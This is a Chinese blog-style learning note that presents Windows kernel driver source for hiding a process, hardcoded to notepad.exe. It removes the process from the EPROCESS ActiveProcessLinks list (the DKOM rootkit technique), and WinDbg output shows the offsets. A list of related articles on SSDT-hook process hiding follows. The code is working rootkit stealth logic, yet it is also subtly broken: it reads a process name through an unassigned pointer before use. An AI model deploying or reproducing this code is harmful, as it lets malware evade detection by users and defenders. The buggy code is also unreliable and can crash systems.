ring0 进程隐藏实现

最近在学习内核编程,记录一下最近的学习笔记。

原理:将当前进程从eprocess结构的链表中删除

无法被! process 0 0 看见

#include "HideProcess.h"

#ifdef WIN64

#define ACTIVEPROCESSLINKS_EPROCESS  0x188
#define IMAGEFILENAME_EPROCESS       0x2e0    //16个字节组成的单字数组
#else

#define ACTIVEPROCESSLINKS_EPROCESS  0x088
#define IMAGEFILENAME_EPROCESS       0x174    //16个字节组成的单字数组

#endif

NTSTATUS
    DriverEntry(PDRIVER_OBJECT  DriverObject,PUNICODE_STRING  RegisterPath)
{
    PDEVICE_OBJECT  DeviceObject;
    NTSTATUS        Status;
    int             i = 0;

    UNICODE_STRING  DeviceName;
    UNICODE_STRING  LinkName;

    RtlInitUnicodeString(&DeviceName,DEVICE_NAME);
    RtlInitUnicodeString(&LinkName,LINK_NAME);

    //创建设备对象;

    Status = IoCreateDevice(DriverObject,0,
    &DeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);
    if (!NT_SUCCESS(Status))
    {
        return Status;
    }

    Status = IoCreateSymbolicLink(&LinkName,&DeviceName);

    for (i = 0; i<IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
        DriverObject->MajorFunction[i] = DefaultPassThrough;
    }

    DriverObject->DriverUnload = UnloadDriver;

    if (HideProcess("notepad.exe") == FALSE)
    {
        DbgPrint("No Exist\r\n");
    }

#ifdef WIN64

    DbgPrint("WIN64: HideProcess IS RUNNING!!!");
#else

    DbgPrint("WIN32: HideProcess SIS RUNNING!!!");

#endif

    return STATUS_SUCCESS;
}

NTSTATUS
    DefaultPassThrough(PDEVICE_OBJECT  DeviceObject,PIRP Irp)
{
    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp,IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}

VOID
    UnloadDriver(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING  LinkName;
    PDEVICE_OBJECT    NextDeviceObject    = NULL;
    PDEVICE_OBJECT  CurrentDeviceObject = NULL;
    RtlInitUnicodeString(&LinkName,LINK_NAME);

    IoDeleteSymbolicLink(&LinkName);
    CurrentDeviceObject = DriverObject->DeviceObject;
    while (CurrentDeviceObject != NULL)
    {

        NextDeviceObject = CurrentDeviceObject->NextDevice;
        IoDeleteDevice(CurrentDeviceObject);
        CurrentDeviceObject = NextDeviceObject;
    }

    DbgPrint("HideProcess IS STOPPED!!!");
}

BOOLEAN HideProcess(char* ProcessImageName)
{
    //通过进程EProcess (ObjectHeader ObjectBody)
    /*
    kd> !process 0 0
    PROCESS fffffa8031ec9060
    SessionId: 1  Cid: 073c    Peb: 7fffffdf000  ParentCid: 06f8
    DirBase: 7fb21000  ObjectTable: fffff8a001ea3600  HandleCount: 545.
    Image: explorer.exe
    kd> dt _eprocess fffffa8031ec9060
    +0x000 Pcb              : _KPROCESS
    +0x160 ProcessLock      : _EX_PUSH_LOCK
    +0x168 CreateTime       : _LARGE_INTEGER 0x01d29b23`d17ef664
    +0x170 ExitTime         : _LARGE_INTEGER 0x0
    +0x178 RundownProtect   : _EX_RUNDOWN_REF
    +0x180 UniqueProcessId  : 0x00000000`0000073c Void
    +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`31aeb1e8 - 0xfffffa80`3265da98 ]
    +0x198 ProcessQuotaUsage : [2] 0x3dc8
    kd> dt _LIST_ENTRY
    nt!_LIST_ENTRY
    +0x000 Flink            : Ptr64 _LIST_ENTRY    Next ListEntry
    +0x008 Blink            : Ptr64 _LIST_ENTRY    Previous

    kd> dt _eprocess 0xfffffa80`31aeb1e8-0x188
    nt!_EPROCESS
    +0x000 Pcb              : _KPROCESS
    +0x188 ActiveProcessLinks : _LIST_ENTRY [ 0xfffffa80`31ec84d8 - 0xfffffa80`31ec91e8 ]
    +0x2e0 ImageFileName    : [15]  "vmtoolsd.exe"

    [空头][System][][][][Explorer][vmtoolsd]
    */
    PLIST_ENTRY  ListEntry = NULL;
    PEPROCESS  EProcess = NULL;
    PEPROCESS  v1 = NULL;
    PEPROCESS  EmptyEProcess = NULL;
    char*      ImageFileName = NULL;
    EProcess = PsGetCurrentProcess();
    if (EProcess == NULL)
    {
        return FALSE;
    }
    ImageFileName = (char*)((UINT8*)v1 + IMAGEFILENAME_EPROCESS);
    DbgPrint("CurrentImageFileName:%s\r\n", ImageFileName);
    v1 = EProcess;   //System.exe  EProcess
    //System.exe  的前一个 实际上是一个空头节点
    ListEntry = (PLIST_ENTRY)((UINT8*)EProcess + ACTIVEPROCESSLINKS_EPROCESS);  //0x188
    EmptyEProcess = (PEPROCESS)(((ULONG_PTR)(ListEntry->Blink)) - ACTIVEPROCESSLINKS_EPROCESS);

    ListEntry = NULL;
    while (v1 != EmptyEProcess)  //System!=空头节点
    {
        ImageFileName = (char*)((UINT8*)v1 + IMAGEFILENAME_EPROCESS);   //System.exe   Calc.exe
        //DbgPrint("ImageFileName:%s\r\n",szImageFileName);
        ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + ACTIVEPROCESSLINKS_EPROCESS);
        if (strstr(ImageFileName, ProcessImageName) != NULL)
        {
            if (ListEntry != NULL)
            {
                RemoveEntryList(ListEntry);
                break;
            }
        }
        v1 = (PEPROCESS)(((ULONG_PTR)(ListEntry->Flink)) - ACTIVEPROCESSLINKS_EPROCESS);  //Calc
    }
    return TRUE;
}
时间: 2024-08-08 00:30:13

ring0 进程隐藏实现的相关文章

HOOK - 进程隐藏与进程保护(SSDT Hook 实现)(二)

进程隐藏与进程保护(SSDT Hook 实现)(二) 文章目录:                   1. 引子 – Demo 实现效果: 2. 进程隐藏与进程保护概念: 3. SSDT Hook 框架搭建: 4. Ring0 实现进程隐藏: 5. Ring0 实现进程保护: 6. 隐藏进程列表和保护进程列表的维护: 7. 小结: 1. 引子 – Demo 实现效果: 上一篇<进程隐藏与进程保护(SSDT Hook 实现)(一)>呢把 SSDT 说得差不多了, 博文地址: http://www

进程隐藏的各种方法 以及分析比较以及实现链接

典型进程隐藏技术1  基于系统服务的进程隐藏技术在 W I N 9X 系列操作系统中, 系统进程列表中不能看到任何系统服务进程, 因此只需要将指定进程注册为系统服务就能够使该进程从系统进程列表中隐形 在win9x下用RegisterServiceProcess函数隐藏进程,NT架构下用不了 即win2000  xp等什么的用不了此方法. 2  基于API HOOK的进程隐藏技术API HOOK指的是通过特殊的编程手段截获WINDOWS系统调用的API函数,并将其丢弃或者进行替换. 通过APIHO

进程隐藏与进程保护(SSDT Hook 实现)(二)

文章目录:                   1. 引子 – Demo 实现效果: 2. 进程隐藏与进程保护概念: 3. SSDT Hook 框架搭建: 4. Ring0 实现进程隐藏: 5. Ring0 实现进程保护: 6. 隐藏进程列表和保护进程列表的维护: 7. 小结: 1. 引子 – Demo 实现效果: 上一篇<进程隐藏与进程保护(SSDT Hook 实现)(一)>呢把 SSDT 说得差不多了, 博文地址: http://www.cnblogs.com/BoyXiao/archiv

进程隐藏系统调用

一.实验内容 实验3:Linux进程管理及其扩展 1.阅读并分析Linux内核源代码,了解进程控制块.进程队列等数据结构: 2. 实现一个系统调用,使得可以根据指定的参数隐藏进程,使用户无法使用ps或top观察到进程状态.具体要求如下: (1)实现系统调用int hide(pid_t pid, int on),在进程pid有效的前提下,如果on置1,进程被隐藏,用户无法通过ps或top观察到进程状态:如果on置0且此前为隐藏状态,则恢复正常状态. (2)考虑权限问题,只有根用户才能隐藏进程. (

HOOK - 进程隐藏与进程保护(SSDT Hook 实现)(三)

进程隐藏与进程保护(SSDT Hook 实现)(三) 文章目录:                   1. 引子: 2. 获取当前系统下所有进程: 3. 服务管理(安装,启动,停止,卸载): 4. 应用程序和内核程序通信: 5. 小结: 1. 引子: 关于这个 SSDT Hook 实现进程隐藏和进程保护呢,这是最后一篇博文了, 在文章的结尾处呢你可以下载到整个项目的实例程序以及代码, 程序可以在 XP.Server.Win7 上运行的,当然我是说的 32 位操作系统.        <进程隐藏与

进程隐藏的方法

最基本的隐藏:不可见窗体+隐藏文件 木马程序无论如何神秘,但归根究底,仍是Win32平台下的一种程序.Windows下常见的程序有两种: 1.Win32应用程序(Win32 Application),比如QQ.Office等都属于此行列. 2.Win32控制台程序(Win32 Console),比如硬盘引导修复程序FixMBR. 其中,Win32应用程序通常会有应用程序界面,比如系统中自带的"计算器"就有提供各种数字按钮的应用程序界面.木马虽然属于Win32应用程序,但其一般不包含窗体

win8应用层进程隐藏工具

今天测试发现,进程大师(Jnc Process master)可以从应用层隐藏进程,还不错,不过由于win8防护能力比较强,只能隐藏个别进程, 到现在为止还没有发现win8内核级隐藏进程的.大家如有发现可以相互交流一下 版权声明:本文为博主原创文章,未经博主允许不得转载.

进程隐藏与进程保护(SSDT Hook 实现)(一)

读了这篇文章终于明白大致怎么回事了 文章目录:                   1. 引子 – Hook 技术: 2. SSDT 简介: 3. 应用层调用 Win32 API 的完整执行流程: 4. 详解 SSDT: 5. SSDT  Hook 原理: 6. 小结: 1. 引子 – Hook 技术: 前面一篇博文呢介绍了代码的注入技术(远程线程实现),博文地址如下: http://www.cnblogs.com/BoyXiao/archive/2011/08/11/2134367.html

遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

1.EPROCESS结构体 EPROCESS块来表示.EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针.例如每一个进程里面都至少有一个ETHREAD块表示的线程.进程的名字,和在用户空间的PEB(进程环境)块等等.EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的. 2.查看EPROCESS结构 kd> dt_eprocessntdll!_EPROCESS   +0×000 Pcb              : _KPROCESS